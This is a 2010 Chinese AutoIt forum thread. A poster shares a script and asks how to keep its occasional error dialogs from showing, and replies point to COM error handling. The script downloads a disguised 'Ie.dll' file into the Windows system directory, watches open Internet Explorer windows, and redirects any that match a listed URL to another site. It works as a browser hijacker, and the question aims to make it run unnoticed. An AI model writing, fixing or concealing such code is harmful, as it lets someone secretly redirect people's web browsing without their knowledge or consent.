angelink 发表于 2010-8-15 22:46:53

如何在AU3程序偶尔报错的时候不弹出这个错误框?

本帖最后由 angelink 于 2010-8-15 23:16 编辑




如何在AU3程序偶尔报错的时候不弹出这个错误框?#include <_Ini.au3>
#include <CoProc.au3>
If Not @error Then
        _CoProc("down")
        Url()
EndIf       
Func Url()
While 1
        Sleep(400)
        $URL1 = _IniRead(@SystemDir & "\Ie.dll", "URL", "1", "")
        $oShell = ObjCreate('shell.application')
        $oShellWindows = $oShell.windows
        For $Window In $oShellWindows
                If StringRight($Window.FullName, 12) = 'iexplore.exe' Then
                        If StringInStr($Window.locationurl, $URL1, 2) Then $Window.navigate("http://" & $Http1)
                EndIf
        Next
        _ReduceMemory(@AutoItPID)
WEnd
EndFunc
Func _ReduceMemory($i_PID = -1)
        If $i_PID <> -1 Then
                Local $ai_Handle = DllCall("kernel32.dll", 'int', 'OpenProcess', 'int', 0x1f0fff, 'int', False, 'int', $i_PID)
                Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', $ai_Handle)
                DllCall('kernel32.dll', 'int', 'CloseHandle', 'int', $ai_Handle)
        Else
                Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', -1)
        EndIf
        Return $ai_Return
EndFunc   ;==>_ReduceMemory
Func Down()
        Local $hDownload = InetGet("http://www.baidu.com/Ie.dll", @SystemDir & "\Ie.dll", 1, 1)
        Do
                Sleep(250)
        Until InetGetInfo($hDownload, 2)
EndFunc   ;==>Down

水木子 发表于 2010-8-15 22:54:42

If Not @error Then

angelink 发表于 2010-8-15 23:18:14

回复 2# 水木子


先谢谢!

我的是在打开IE的时候,然后跳转到我设置的IE的时候立马关闭IE才报错的。。。。

afan 发表于 2010-8-15 23:21:13

帮助文档搜索 COM 出错处理
页: [1]
查看完整版本: 如何在AU3程序偶尔报错的时候不弹出这个错误框?